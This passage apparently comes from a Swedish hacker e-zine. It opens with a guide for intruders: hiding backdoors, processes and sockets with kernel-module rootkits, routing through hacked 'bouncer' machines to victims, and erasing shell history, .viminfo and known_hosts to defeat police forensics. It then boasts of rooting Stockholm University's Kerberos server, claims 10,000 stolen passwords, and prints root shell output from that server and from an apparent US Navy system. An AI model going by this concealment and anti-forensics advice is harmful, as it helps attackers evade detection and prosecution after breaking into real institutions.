<+----------------------------------------------------------------------------+>
<+---[0x06: Liten guide till ett säkrare liv ]--------------------------------+>
Sedan tidernas begynnelse har du fått lära dig att man ska vara försiktig.
Även din mamma har försökt hinta dig om hur viktigt det är att skydda sig.
Detta gäller även dina äventyr på internet.
Hur du skyddar dig från att trubbel kan vi dela in i tre områden.
* Lokal Säkerhet
* Säker nätkonnektivitet
* Distant Säkerhet
Distant säkerhet är viktig för att du inte skall upptäckas och åka dit.
Tänk på att gömma alla bakdörrar och verktyg så de inte hittas av en slump.
använd någon av de olika kernelmodulbakdörrarna för att gömma kataloger,
glöm inte att gömma dina processer och öppna sockets!
Säker nätkonnektivitet är viktig för att de inte skall kunna spåra dig
när du väl har blivit upptäckt.
Använd alltid bouncers, gör _ingenting_ hemmifrån.
Kryptera all din trafik, bounca genom minst en burk som inte loggar.
Slutligen den lokala säkerheten som är viktig för att dölja alla spår
när dom väl har spårat dig och tagit din burkar.
Använd kryptodisk! kryptera allt hemligt!
tänk på dim .viminfo, där ser man vad du har editerat.
$HISTFILE loggar allt du gör, det måste du fixa.
.ssh/known_hosts innehåller alla burkar du har loggat in på. rensa!
Välj lösenord med hög entropi.
När du raderar filer, använd http://wipe.sourceforge.net eller skriv över
filen med dd och /dev/random innan du tar bort den.
En bra rutt ser ut något som det här:
* Elak Hackare
* Lokala bnc's
* Hackade säkra bnc's
* publika proxies
* Oskyldigt offer
I eventuellt förhör kan det bli förödande om din dator bevisar att du har någon
last. Om polisen exempelvis hittar bevis för att du hittat på porr i ~/.mplayer*
kommer de med stor sannolikhet utnyttja detta mot dig. De kan då försöka locka
dig till att erkänna ytterligare genom att locka med konto på feta porrsiter
eller erbjuda statistroller i svenska vuxenfilmer. Är du under arton kommer
de dock bara att berätta för din mamma.
De kommer aldrig att ta mig levande!
Knackar det på dörren sväljer jag en floppy med bootsektorvirus!
<+---[0x07: Mobbade barn med 0dayexploitz ]-----------------------------------+>
|
|
+---------------------------------------------------+
| Vi hade länge undrat vilka som rootade su.se |
| när en person snällt nog mailade denna lilla |
| loggen till oss, vi fick tom. alla 10k passwords! |
+---------------------------------------------------+
Nu är det sagostund!
Vi ska berätta sagan om när det blev så här:
NYA LÖSENORD.
Efter ett intrång i ett av SU:s centrala datorsystem har vi tvingats
byta ut alla lösenord. Detta påverkar ditt login på campus-datorerna
så väl som din mail.
Ditt nya lösenord finns att hämta i informationsdisken (A-huset, plan
4) eller i vår reception (B-huset, plan 2).
TAG MED DIG LEGITIMATION.
Informationsdisken har extra öppet till kl. 18:00 t.o.m. torsdag på
grund av detta.
Det var en gång ett stort, stort, universitet. Detta universitet låg i den
stora, stora, staden Stockholm, och hette således inget mindre än Stockholms
Universitet. En dag tyckte vi att det var lämpligt med en liten, liten,
utflykt till det stora, stora, universitetet.
Vi hälsade således på i kojan bosatt av den lilla, lilla, gulliga, vovven
Kerberos:
uname -a;id
FreeBSD kdc-master.su.se 4.0-RELEASE FreeBSD 4.0-RELEASE #0: Wed Mar 15 02:16:55 GMT 2000 jkh@monster.cdrom.com:/usr/src/sys/compile/GENERIC i386
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
w;
ps -auxwww;
1:32AM up 399 days, 10:08, 1 user, load averages: 0.00, 0.01, 0.23
USER TTY FROM LOGIN@ IDLE WHAT
root p0 - Mon02PM 6days bash
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
root 91471 0.0 0.1 416 232 ?? R 1:32AM 0:00.00 ps -auxwww
root 1 0.0 0.0 440 76 ?? ILs 16Sep01 0:00.44 /sbin/init --
root 2 0.0 0.0 0 0 ?? DL 16Sep01 41:11.37 (pagedaemon)
root 3 0.0 0.0 0 0 ?? DL 16Sep01 0:09.50 (vmdaemon)
root 4 0.0 0.0 0 0 ?? DL 16Sep01 0:56.72 (bufdaemon)
root 5 0.0 0.0 0 0 ?? DL 16Sep01 132:01.98 (syncer)
root 23 0.0 0.0 208 0 ?? IWs - 0:00.00 adjkerntz -i
root 74 0.0 0.2 1212 420 ?? S
Sun Microsystems Inc. SunOS 5.8 Generic February 2000
WARNING: This is a U. S. Government Computer System.
Unauthorized access is prohibited by
Title 18, United States Code, Section 1030
--------------- Only UNCLASSIFIED Material On This Machine -----------------
Department of the Navy Automated Information Systems and related
equipment are intended for the communication, processing and storage
of U.S. Government information. These systems and equipment are subject
to monitoring to ensure proper functioning, to protect against
improper or unauthorized use or access, and to verify the presence or
performance of applicable security features or procedures, and for other
like purposes. Such monitoring may result in the acquisition, recording,
and analysis of all data being communicated, transmitted, processed
or stored in this system by a user. If monitoring reveals evidence of
possible criminal activity, such evidence may be provided to law
enforcement personnel. Use of this system constitutes consent to such
monitoring.
Use of this or any other DoD interest computer system
constitutes a consent to monitoring at all times.
You have mail.
source idl_setup
Enabling TeX & LaTeX
#
+-----------------------------------------------------------------------------+>